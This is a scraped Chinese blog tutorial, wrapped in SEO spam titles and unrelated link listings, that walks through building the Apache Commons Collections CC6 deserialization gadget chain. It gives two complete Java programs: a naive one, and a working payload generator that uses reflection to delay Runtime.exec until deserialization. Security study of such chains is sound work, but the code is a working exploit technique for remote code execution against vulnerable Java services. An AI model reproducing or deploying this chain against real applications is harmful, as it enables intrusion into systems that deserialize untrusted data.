当前位置: 首页 > news >正文

外贸网站推广制作教程网推拉新怎么做

外贸网站推广制作教程,网推拉新怎么做,wordpress 内容调用,重庆住建网官网前面和CC1一样 优点是不限制jdk版本和cc的版本 先开一个ChainedTransformer 然后创LazyMap 我们顺便执行一下避免上面写错 能弹计算器 没问题 后面就是CC6不同的地方了 我们需要一个TiedMapEntry 因为需要一个类调用了get方法 在TiedMapEntry的getValue()方法中调用了get()…

前面和CC1一样
优点是不限制jdk版本和cc的版本

先开一个ChainedTransformer
在这里插入图片描述
然后创LazyMap 我们顺便执行一下避免上面写错
在这里插入图片描述
能弹计算器 没问题
后面就是CC6不同的地方了

我们需要一个TiedMapEntry
因为需要一个类调用了get方法
TiedMapEntrygetValue()方法中调用了get() 其中mapkey都可控
在这里插入图片描述
在这里插入图片描述
那么我们就需要一个类调用getValue方法 TiedMapEntry的hashCode方法就可以
在这里插入图片描述

然后类似URLDNS的链子 我们可以知道这里可以用HashMap连上
HashMapreadObject方法会调用hashCode
在这里插入图片描述
在这里插入图片描述
至此链子结束 我们可以写出如下代码

package org.example.CC6;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"xxx");Map map2 = new HashMap();map2.put(tiedMapEntry,"ccc");serialize(map2);unSerialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));return ois.readObject();}
}

尝试执行 发现确实能弹计算器
但是这里存在和URLDNS一样的问题 , 就是这个计算器弹的时机是在map2.put的时候
而不是我们期望的反序列化的时候

原因是HashMap在put的时候已经给整条链走完了
在这里插入图片描述
在这里插入图片描述
因为这里的key != null 所以继续进了hashCode
在这里插入图片描述
LazyMap调用get
在这里插入图片描述
然后没有key put进去了 在后面反序列化的时候就有key
key就直接return map.get(key)

为了避免这种情况 我们需要 让最开始传入的东西不能形成链子 就是说改LazyMap 改 TiedMapEntry 之类的的都行,只要不在反序列化前弹计算器就行
然后要记得给put进来的key remove掉
于是最终代码如下

package org.example.CC6;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");Map map2 = new HashMap();map2.put(tiedMapEntry, "ccc");lazyMap.remove("xxx");Field field = LazyMap.class.getDeclaredField("factory");field.setAccessible(true);field.set(lazyMap, chainedTransformer);serialize(map2);unSerialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));return ois.readObject();}
}
http://www.yayakq.cn/news/276674/

相关文章:

  • 网站模版如何去除title版权信息长沙专业做网站公司有哪些
  • 用h5开发的网站模板网站建设 凡科
  • 顾氏网站建设有限公司怎么样正规的手游代理平台
  • 平台网站兼职做sap热 综合-网站正在建设中
  • 湖南做网站 n磐石网络如何建单位网站
  • 绵阳网站建设报价网页设计与制作工作
  • 类似猪八戒的网站建设做商城的网站用什么框架好
  • 网站建设汉狮怎么样沈阳微信网站建设
  • 福安市住房和城乡建设网站wordpress客户端5.5
  • 做外贸需要自己建网站吗白鹭引擎做h5网站
  • 禅城网站建设费用外贸建站用什么平台好
  • 贵州移动端网站建设制作企业官网哪家好
  • 苏州网站建设书生提升学历
  • 东莞市营销网站建设广西壮族自治区图书馆
  • 无锡电子商城网站建设wordpress防御插件
  • 美食网站建设的必要性四川城乡建设证件查询官网
  • 广东高端建设网站无锡建设网站公司
  • 网站设计师工作室双井做网站的公司
  • 有很多长尾怎么做网站内容苏州网站制作网络建设公司
  • 北京网站建设q479185700棒做网站挣外快
  • 做网站的图片要多少像素seo搜索引擎优化平台
  • 了解公司的网站网易严选的网站建设
  • 纯色涂料网站建设怎样建立网站平台
  • wp 企业网站模板网站 linux 服务器
  • 兖州网站建设免费网络推广平台有哪些
  • 哪里免费做网站南阳东莞网站建设公司
  • 为自己家秘方做网站有趣的网站网址
  • 网站电脑培训班附近有吗黄骅市找工作
  • php可以自己做网站吗网站建设公众号小程序开发
  • 企业网站优化之如何做需求分析常州北京网站建设